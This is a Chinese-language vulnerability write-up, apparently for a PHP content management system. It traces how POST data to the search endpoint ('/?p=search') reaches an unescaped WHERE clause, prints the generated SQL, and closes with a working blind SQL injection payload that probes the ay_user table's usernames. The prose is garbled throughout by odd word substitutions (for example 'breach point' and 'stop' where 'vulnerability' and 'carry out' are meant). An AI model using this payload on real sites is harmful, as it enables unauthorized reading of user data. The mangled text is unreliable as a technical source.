破绽点跟进
网上发布破绽点在/?p=search,POST数据:1=select 1,
apps/home/controller/ParserController.php的parserSearchLabel函数
恳求的数据赋值给$receive停止遍历,$key进入request函数停止处置
跟进request函数,文件core/function/helper.php
标定恳求类型POST或GET,结构变量
$condition = array(
'd_source' => 'post',
'd_type' => 'vars',
'd_require' => false,
$name => $key,
'd_default' => null
);
传送给filter($name, $condition)
跟进filter函数,文件core/function/helper.php
赋值$data = @$_POST[$varname];,并停止去空格处置
之后停止类型检测,正则匹配
能够看到注入字符串只能包含中文、字母、数字、横线、点、逗号、空格。
最后停止return escape_string($data);处置。
继续跟进escape_string函数。文件core/function/handle.php
停止了htmlspecialchars和addslashes转义。
数据经过一系列过滤后返回到apps/home/controller/ParserController.php文件的parserSearchLabel函数,赋值给$where3数组。
继续跟着变量$where3,进入到读取数据函数
$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);
跟进getList函数,文件apps/home/model/ParserModel.php
函数中$select=$where3,
继续跟进$select变量
进入where函数停止处置
继续跟进where函数
能够看到条件之间运用AND停止衔接当传送的参数 $where 是一个数组时就遍历数组,当$where是一个索引数组时,则:$where_string.=$value。故而能够控制$where3为索引数组,进而完成sql注入。
payload数据流跟踪
停止post恳求搜索数据1=1时,在$where3变量下断点
$where3=[1]
继续跟踪sql语句结构,经过一些类转换构成了sql语句
SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1)
最后时把输入的1=1转换成了条件中的AND (1)
查询到一切信息
当post数据为1=0时没抓到sql语句,用1=select 0抓到sql语句为
SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)
同样添加了AND(select 0)语句,sql注入可行。
破绽应用
post传输数据
1=select 1 from ay_user where username regexp 0x61
能够停止盲注
感谢您的来访,获取更多精彩文章请收藏本站。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。